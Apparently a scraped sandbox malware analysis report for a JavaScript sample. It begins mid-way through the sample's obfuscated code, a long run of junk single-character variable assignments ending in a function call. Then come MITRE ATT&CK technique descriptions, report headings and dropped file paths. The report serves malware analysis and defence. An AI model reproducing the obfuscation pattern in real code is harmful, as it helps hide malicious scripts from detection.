1182	vjwmesl = "B";
1183	vjwmesl = "T";
1184	vjwmesl = "N";
1185	vjwmesl = "p";
1186	vjwmesl = "h";
1187	vjwmesl = "A";
1188	vjwmesl = "Y";
1189	vjwmesl = "F";
1190	vjwmesl = "G";
1191	vjwmesl = "N";
1192	vjwmesl = "p";
1193	vjwmesl = "R";
1194	vjwmesl = "e";
1195	vjwmesl = "m";
1196	vjwmesl = "m";
1197	vjwmesl = "L";
1198	vjwmesl = "N";
1199	vjwmesl = "O";
1200	vjwmesl = "U";
1201	vjwmesl = "I";
1202	vjwmesl = "o";
1203	vjwmesl = "w";
1204	vjwmesl = "X";
1205	vjwmesl = "C";
1206	vjwmesl = "j";
1207	vjwmesl = "A";
1208	vjwmesl = "Y";
1209	vjwmesl = "H";
1210	vjwmesl = "r";
1211	vjwmesl = "t";
1212	vjwmesl = "m";
1213	rcbzeyzmr = "W";
1214	rcbzeyzmr = "Q";
1215	rcbzeyzmr = "v";
1216	rcbzeyzmr = "w";
1217	rcbzeyzmr = "h";
1218	tijszkhkb = "P";
1219	tijszkhkb = "V";
1220	tijszkhkb = "H";
1221	tijszkhkb = "c";
1222	tijszkhkb = "j";
1223	tijszkhkb = "X";
1224	tijszkhkb = "d";
1225	tijszkhkb = "u";
1226	tijszkhkb = "T";
1227	tijszkhkb = "c";
1228	tijszkhkb = "n";
1229	tijszkhkb = "g";
1230	tijszkhkb = "y";
1231	tijszkhkb = "l";
1232	tijszkhkb = "M";
1233	tijszkhkb = "B";
1234	tijszkhkb = "g";
1235	tijszkhkb = "5";
1236	wdrbxgay = "F";
1237	wdrbxgay = "V";
1238	wdrbxgay = "O";
1239	wdrbxgay = "j";
1240	wdrbxgay = "z";
1241	wdrbxgay = "c";
1242	wdrbxgay = "J";
1243	wdrbxgay = "F";
1244	wdrbxgay = "g";
1245	wdrbxgay = "c";
1246	wdrbxgay = "I";
1247	wdrbxgay = "H";
1248	wdrbxgay = "f";
1249	wdrbxgay = "x";
1250	wdrbxgay = "O";
1251	wdrbxgay = "V";
1252	wdrbxgay = "P";
1253	wdrbxgay = "S";
1254	wdrbxgay = "t";
1255	wdrbxgay = "i";
1256	zkmdqb = "K";
1257	zkmdqb = "K";
1258	zkmdqb = "z";
1259	zkmdqb = "W";
1260	zkmdqb = "N";
1261	zkmdqb = "0";
1262	ycxbv = "q";
1263	ycxbv = "K";
1264	ycxbv = "f";
1265	ycxbv = "G";
1266	ycxbv = "n";
1267	ycxbv = "c";
1268	ycxbv = "T";
1269	ycxbv = "y";
1270	ycxbv = "a";
1271	ycxbv = "j";
1272	ycxbv = "S";
1273	ycxbv = "k";
1274	ycxbv = "d";
1275	ycxbv = "r";
1276	ycxbv = "g";
1277	ycxbv = "W";
1278	ycxbv = "a";
1279	ycxbv = "t";
1280	ycxbv = "r";
1281	teelqjih = "T";
1282	teelqjih = "p";
1283	teelqjih = "i";
1284	teelqjih = "T";
1285	teelqjih = "R";
1286	teelqjih = "n";
1287	teelqjih = "n";
1288	teelqjih = "i";
1289	teelqjih = "u";
1290	teelqjih = "w";
1291	teelqjih = "d";
1292	teelqjih = "O";
1293	teelqjih = "N";
1294	teelqjih = "M";
1295	teelqjih = "t";
1296	teelqjih = "a";
1297	teelqjih = "E";
1298	teelqjih = "E";
1299	teelqjih = "l";
1300	teelqjih = "e";
1301	teelqjih = "b";
1302	teelqjih = "i";
1303	teelqjih = "m";
1304	teelqjih = "Y";
1305	teelqjih = "S";
1306	teelqjih = "D";
1307	teelqjih = "m";
1308	teelqjih = "Z";
1309	teelqjih = "V";
1310	teelqjih = "l";
1311	teelqjih = "s";
1312	zkiyc = "b";
1313	zkiyc = "g";
1314	zkiyc = "g";
1315	zkiyc = "o";
1316	zkiyc = "T";
1317	zkiyc = "f";
1318	zkiyc = "z";
1319	zkiyc = "a";
1320	zkiyc = "f";
1321	zkiyc = "I";
1322	zkiyc = "S";
1323	zkiyc = "v";
1324	zkiyc = "W";
1325	zkiyc = "a";
1326	zkiyc = "O";
1327	zkiyc = "n";
1328	zkiyc = "A";
1329	zkiyc = "d";
1330	zkiyc = "q";
1331	zkiyc = "t";
1332	zkiyc = "k";
1333	zkiyc = "K";
1334	zkiyc = "n";
1335	zkiyc = "g";
1336	khiff = "m";
1337	khiff = "J";
1338	khiff = "q";
1339	khiff = "q";
1340	khiff = "F";
1341	khiff = "P";
1342	khiff = "p";
1343	khiff = "O";
1344	khiff = "C";
1345	khiff = "w";
1346	khiff = "H";
1347	khiff = "R";
1348	khiff = "E";
1349	khiff = "x";
1350	khiff = "f";
1351	khiff = "H";
1352	khiff = "J";
1353	khiff = "u";
1354	khiff = "r";
1355	khiff = "R";
1356	khiff = "k";
1357	khiff = "b";
1358	khiff = "c";
1359	khiff = "y";
1360	khiff = "-";
1361	owobxwvi = "Q";
1362	owobxwvi = "i";
1363	owobxwvi = "j";
1364	owobxwvi = "M";
1365	owobxwvi = "F";
1366	owobxwvi = "r";
1367	owobxwvi = "x";
1368	owobxwvi = "T";
1369	owobxwvi = "M";
1370	owobxwvi = "p";
1371	owobxwvi = "k";
1372	owobxwvi = "W";
1373	owobxwvi = "J";
1374	owobxwvi = "i";
1375	owobxwvi = "R";
1376	owobxwvi = "H";
1377	owobxwvi = "q";
1378	owobxwvi = "X";
1379	owobxwvi = "g";
1380	owobxwvi = "F";
1381	owobxwvi = "A";
1382	owobxwvi = "d";
1383	owobxwvi = "j";
1384	owobxwvi = "O";
1385	owobxwvi = "x";
1386	owobxwvi = "Y";
1387	owobxwvi = "y";
1388	owobxwvi = "g";
1389	owobxwvi = "q";
1390	owobxwvi = "s";
1391	owobxwvi = "X";
1392	owobxwvi = "v";
1393	owobxwvi = "g";
1394	owobxwvi = "H";
1395	owobxwvi = "M";
1396	owobxwvi = "N";
1397	owobxwvi = "A";
1398	owobxwvi = "P";
1399	owobxwvi = "P";
1400	owobxwvi = "G";
1401	owobxwvi = "Q";
1402	owobxwvi = "z";
1403	owobxwvi = "c";
1404	owobxwvi = "6";
1405	yfsvbe = "m";
1406	yfsvbe = "B";
1407	yfsvbe = "K";
1408	yfsvbe = "g";
1409	yfsvbe = "p";
1410	yfsvbe = "x";
1411	yfsvbe = "f";
1412	yfsvbe = "k";
1413	yfsvbe = "x";
1414	yfsvbe = "r";
1415	yfsvbe = "l";
1416	yfsvbe = "A";
1417	yfsvbe = "X";
1418	yfsvbe = "S";
1419	yfsvbe = "R";
1420	yfsvbe = "m";
1421	yfsvbe = "s";
1422	yfsvbe = "Q";
1423	mazatqaj = "O";
1424	mazatqaj = "f";
1425	mazatqaj = "C";
1426	mazatqaj = "J";
1427	mazatqaj = "k";
1428	mazatqaj = "W";
1429	mazatqaj = "F";
1430	mazatqaj = "O";
1431	mazatqaj = "n";
1432	mazatqaj = "Y";
1433	agein = "u";
1434	agein = "E";
1435	agein = "g";
1436	agein = "g";
1437	agein = "q";
1438	hwfpubo = "U";
1439	hwfpubo = "b";
1440	hwfpubo = "P";
1441	hwfpubo = "g";
1442	hwfpubo = "j";
1443	hwfpubo = "G";
1444	hwfpubo = "D";
1445	hwfpubo = "d";
1446	hwfpubo = "Z";
1447	hwfpubo = "n";
1448	hwfpubo = "b";
1449	hwfpubo = "V";
1450	hwfpubo = "l";
1451	hwfpubo = "w";
1452	hwfpubo = "Z";
1453	hwfpubo = "k";
1454	hwfpubo = "X";
1455	hwfpubo = "s";
1456	hwfpubo = "Q";
1457	hwfpubo = "p";
1458	hwfpubo = "r";
1459	hwfpubo = "G";
1460	hwfpubo = "S";
1461	hwfpubo = "e";
1462	hwfpubo = "t";
1463	hwfpubo = "j";
1464	hwfpubo = "O";
1465	hwfpubo = "w";
1466	hwfpubo = "E";
1467	hwfpubo = "a";
1468	hwfpubo = "L";
1469	hwfpubo = "f";
1470	hwfpubo = "c";
1471	hwfpubo = "M";
1472	hwfpubo = "4";
1473	uafjzadkg = "Q";
1474	uafjzadkg = "U";
1475	uafjzadkg = "C";
1476	uafjzadkg = "F";
1477	uafjzadkg = "w";
1478	uafjzadkg = "k";
1479	uafjzadkg = "P";
1480	uafjzadkg = "S";
1481	uafjzadkg = "W";
1482	uafjzadkg = "G";
1483	uafjzadkg = "J";
1484	uafjzadkg = "N";
1485	uafjzadkg = "F";
1486	uafjzadkg = "P";
1487	uafjzadkg = "y";
1488	uafjzadkg = "N";
1489	uafjzadkg = "F";
1490	uafjzadkg = "V";
1491	uafjzadkg = "K";
1492	uafjzadkg = "P";
1493	uafjzadkg = "a";
1494	uafjzadkg = "v";
1495	uafjzadkg = "z";
1496	uafjzadkg = "s";
1497	uafjzadkg = "d";
1498	uafjzadkg = "g";
1499	uafjzadkg = "L";
1500	uafjzadkg = "b";
1501	uafjzadkg = "b";
1502	mijwxjom = "N";
1503	mijwxjom = "G";
1504	mijwxjom = "S";
1505	mijwxjom = "V";
1506	mijwxjom = "i";
1507	mijwxjom = "f";
1508	mijwxjom = "D";
1509	mijwxjom = "e";
1510	mijwxjom = "X";
1511	mijwxjom = "Y";
1512	mijwxjom = "n";
1513	mijwxjom = "R";
1514	mijwxjom = "i";
1515	mijwxjom = "P";
1516	mijwxjom = "G";
1517	mijwxjom = "B";
1518	mijwxjom = "Y";
1519	mijwxjom = "c";
1520	mijwxjom = "H";
1521	mijwxjom = "C";
1522	mijwxjom = "L";
1523	mijwxjom = "b";
1524	mijwxjom = "o";
1525	mijwxjom = "T";
1526	mijwxjom = "m";
1527	mijwxjom = "k";
1528	mijwxjom = "P";
1529	mijwxjom = "i";
1530	mijwxjom = "G";
1531	mijwxjom = "\\";
1532	ixrcope = "X";
1533	ixrcope = "o";
1534	ixrcope = "K";
1535	ixrcope = "b";
1536	ixrcope = "Y";
1537	ixrcope = "I";
1538	ixrcope = "F";
1539	ixrcope = "Y";
1540	ixrcope = "o";
1541	ixrcope = "/";
1542	jwfvah ( );	jwfvah() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 21905169581426428153.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f3727a2d-4282-4826-a643-202e2ce4c965.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3720

Windows Analysis Report
21905169581426428153.js